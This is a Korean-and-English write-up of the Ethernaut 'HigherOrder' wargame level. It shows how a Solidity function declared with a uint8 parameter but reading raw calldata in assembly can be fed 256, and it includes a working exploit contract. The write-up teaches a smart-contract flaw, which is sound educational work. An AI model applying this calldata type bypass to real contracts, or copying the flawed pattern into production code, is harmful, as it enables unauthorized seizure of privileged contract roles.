Ethernaut Writeup CTF/Wargame

Ethernaut 30 HigherOrder

Ethernaut 30 HigherOrder 문제 풀이Ethernaut 30 HigherOrder writeup

Contents

문제

지문

Imagine a world where the rules are meant to be broken, and only the cunning and the bold can rise to power. Welcome to the Higher Order, a group shrouded in mystery, where a treasure awaits and a commander rules supreme. Your objective is to become the Commander of the Higher Order! Good luck! Things that might help: Sometimes, calldata cannot be trusted. Compilers are constantly evolving into better spaceships.

코드

solidity
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;

contract HigherOrder {
    address public commander;

    uint256 public treasury;

    function registerTreasury(uint8) public {
        assembly {
            sstore(treasury_slot, calldataload(4))
        }
    }

    function claimLeadership() public {
        if (treasury > 255) commander = msg.sender;
        else revert("Only members of the Higher Order can become Commander");
    }
}

배경지식


외부 함수 호출에서 calldata의 앞 4바이트는 함수 selector이고, 그 뒤에는 인자가 32바이트 단위로 ABI 인코딩된다. 예를 들어 registerTreasury(uint8)을 호출하면 calldata 구조는 다음과 같다.

text
0x00000000 ~ 0x00000003: function selector
0x00000004 ~ 0x00000023: first argument slot

uint8은 Solidity 타입 기준으로는 0부터 255까지만 표현할 수 있다. 하지만 calldata 자체는 바이트 배열이다. 정상 ABI 인코더를 거치면 uint8 범위의 값만 들어가지만, 저수준 호출로 calldata를 직접 만들면 첫 번째 인자 슬롯에 256 이상의 32바이트 값을 넣을 수 있다.


Solidity 함수 파라미터를 그대로 쓰면 컴파일러가 타입에 맞게 디코딩한 값을 사용한다. 반면 calldataload(offset)은 해당 위치부터 32바이트를 그대로 읽는다.

solidity
calldataload(4)

위 코드는 selector 4바이트 다음 위치부터 32바이트를 읽는다. 함수 선언의 인자가 uint8인지와 별개로, calldata에 들어있는 원본 32바이트 값이 그대로 반환된다.

문제 코드 분석


storage 구조는 다음과 같다.

solidity
address public commander;

uint256 public treasury;

commander는 storage slot 0, treasury는 storage slot 1에 배치된다. Solidity에서 상태 변수는 선언 순서대로 storage slot에 들어가고, address 하나는 slot 하나를 차지한다. 뒤에서 sstore(treasury_slot, ...)로 treasury가 저장된 slot 1에 값을 직접 쓴다.


다음은 registerTreasury의 타입 우회 부분이다.

solidity
function registerTreasury(uint8) public {
    assembly {
        sstore(treasury_slot, calldataload(4))
    }
}

겉으로 보면 registerTreasury는 uint8 하나를 받는다. 정상적인 Solidity 호출이라면 넣을 수 있는 값은 최대 255다. 하지만 함수 내부에서는 파라미터 이름도 없고, 파라미터 값을 사용하지도 않는다. 대신 assembly에서 calldataload(4)로 calldata의 첫 번째 인자 슬롯을 그대로 읽어서 treasury에 저장한다. registerTreasury(uint8)이라는 함수 시그니처는 호출 selector를 맞추는 역할만 한다. 실제 저장되는 값은 calldata에 직접 넣은 32바이트 값이다. calldata를 직접 구성해서 uint256(256)을 넣으면 treasury에는 256이 저장된다.


마지막은 claimLeadership의 조건이다.

solidity
function claimLeadership() public {
    if (treasury > 255) commander = msg.sender;
    else revert("Only members of the Higher Order can become Commander");
}

레벨 목표는 내가 commander가 되는 것이다. 조건은 treasury > 255 하나다. 정상적인 uint8 입력만 가능하다면 이 조건은 만족할 수 없다. 하지만 앞에서 본 것처럼 registerTreasury는 calldata의 원본 32바이트를 저장하므로, treasury를 256 이상으로 만들 수 있다. claimLeadership()의 msg.sender가 곧 commander가 된다. 공격 컨트랙트에서 claimLeadership()까지 호출하면 commander는 공격 컨트랙트 주소가 된다. Ethernaut 검증은 플레이어 주소가 commander인지 확인하므로, treasury만 공격 컨트랙트로 올리고 claimLeadership()은 플레이어가 직접 호출해야 한다.

풀이

먼저 registerTreasury(uint8)의 selector를 만들고, 그 뒤에 uint256(256)을 32바이트로 붙인 calldata를 직접 보낸다. 함수 시그니처상 uint8처럼 보이더라도 assembly는 첫 번째 인자 슬롯 전체를 읽어서 treasury에 256을 저장한다. 그 다음 플레이어 주소로 claimLeadership()을 호출하면 treasury > 255 조건이 참이 되고, commander가 플레이어 주소로 바뀐다.

익스플로잇

solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Attack{
    address public higherorder;

    constructor(address _addr){
        higherorder=_addr;
    }
    function attack() external {
        bytes4 register = bytes4(keccak256("registerTreasury(uint8)"));
        bytes memory pl = abi.encodePacked(register, uint256(256));
        (bool ok,) = higherorder.call(pl);
        require(ok);
    }
}

Challenge

Description

Imagine a world where the rules are meant to be broken, and only the cunning and the bold can rise to power. Welcome to the Higher Order, a group shrouded in mystery, where a treasure awaits and a commander rules supreme. Your objective is to become the Commander of the Higher Order! Good luck! Things that might help: Sometimes, calldata cannot be trusted. Compilers are constantly evolving into better spaceships.

Code

solidity
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;

contract HigherOrder {
    address public commander;

    uint256 public treasury;

    function registerTreasury(uint8) public {
        assembly {
            sstore(treasury_slot, calldataload(4))
        }
    }

    function claimLeadership() public {
        if (treasury > 255) commander = msg.sender;
        else revert("Only members of the Higher Order can become Commander");
    }
}

Background


In an external function call, the first 4 bytes of calldata are the function selector, followed by arguments ABI-encoded in 32-byte units. For example, calling registerTreasury(uint8) gives calldata with the following structure.

text
0x00000000 ~ 0x00000003: function selector
0x00000004 ~ 0x00000023: first argument slot

In Solidity type terms, uint8 can only represent 0 to 255. But calldata itself is a byte array. A normal ABI encoder only lets uint8-range values in, but crafting calldata directly with a low-level call lets you put a 32-byte value of 256 or more in the first argument slot.


If you use a Solidity function parameter directly, the compiler uses the value decoded according to the type. calldataload(offset), on the other hand, reads 32 bytes starting from that position as-is.

solidity
calldataload(4)

The code above reads 32 bytes starting from the position after the 4-byte selector. Regardless of whether the function's declared argument is uint8, the raw 32-byte value in calldata is returned as-is.

Code analysis


The storage layout:

solidity
address public commander;

uint256 public treasury;

commander is placed in storage slot 0, and treasury in storage slot 1. In Solidity, state variables go into storage slots in declaration order, and a single address occupies one slot. Later, sstore(treasury_slot, ...) writes directly to slot 1, where treasury is stored.


The type bypass is in registerTreasury:

solidity
function registerTreasury(uint8) public {
    assembly {
        sstore(treasury_slot, calldataload(4))
    }
}

On the surface, registerTreasury takes a single uint8. With a normal Solidity call, the maximum value you can pass is 255. But inside the function there is no parameter name, and the parameter value is never used. Instead, the assembly reads the first argument slot of calldata as-is with calldataload(4) and stores it in treasury. The function signature registerTreasury(uint8) only serves to match the call selector. The value actually stored is the 32-byte value put directly into calldata. If you craft calldata to put in uint256(256), then 256 is stored in treasury.


Finally, the condition in claimLeadership:

solidity
function claimLeadership() public {
    if (treasury > 255) commander = msg.sender;
    else revert("Only members of the Higher Order can become Commander");
}

The level goal is for me to become the commander. The only condition is treasury > 255. If only valid uint8 input were possible, this condition could not be satisfied. But as seen above, registerTreasury stores the raw 32 bytes of calldata, so we can make treasury 256 or more. Whoever is msg.sender in claimLeadership() becomes the commander. If you call claimLeadership() from the attack contract, commander becomes the attack contract address. Ethernaut's verification checks whether the player address is the commander, so only treasury should be raised via the attack contract, and claimLeadership() must be called by the player directly.

Solution

First, build the selector of registerTreasury(uint8), then directly send calldata with uint256(256) appended as 32 bytes after it. Even though the function signature looks like uint8, the assembly reads the entire first argument slot and stores 256 in treasury. Then calling claimLeadership() from the player address makes the treasury > 255 condition true, and commander changes to the player address.

Exploit

solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Attack{
    address public higherorder;

    constructor(address _addr){
        higherorder=_addr;
    }
    function attack() external {
        bytes4 register = bytes4(keccak256("registerTreasury(uint8)"));
        bytes memory pl = abi.encodePacked(register, uint256(256));
        (bool ok,) = higherorder.call(pl);
        require(ok);
    }
}

Esc

Search titles, content and code.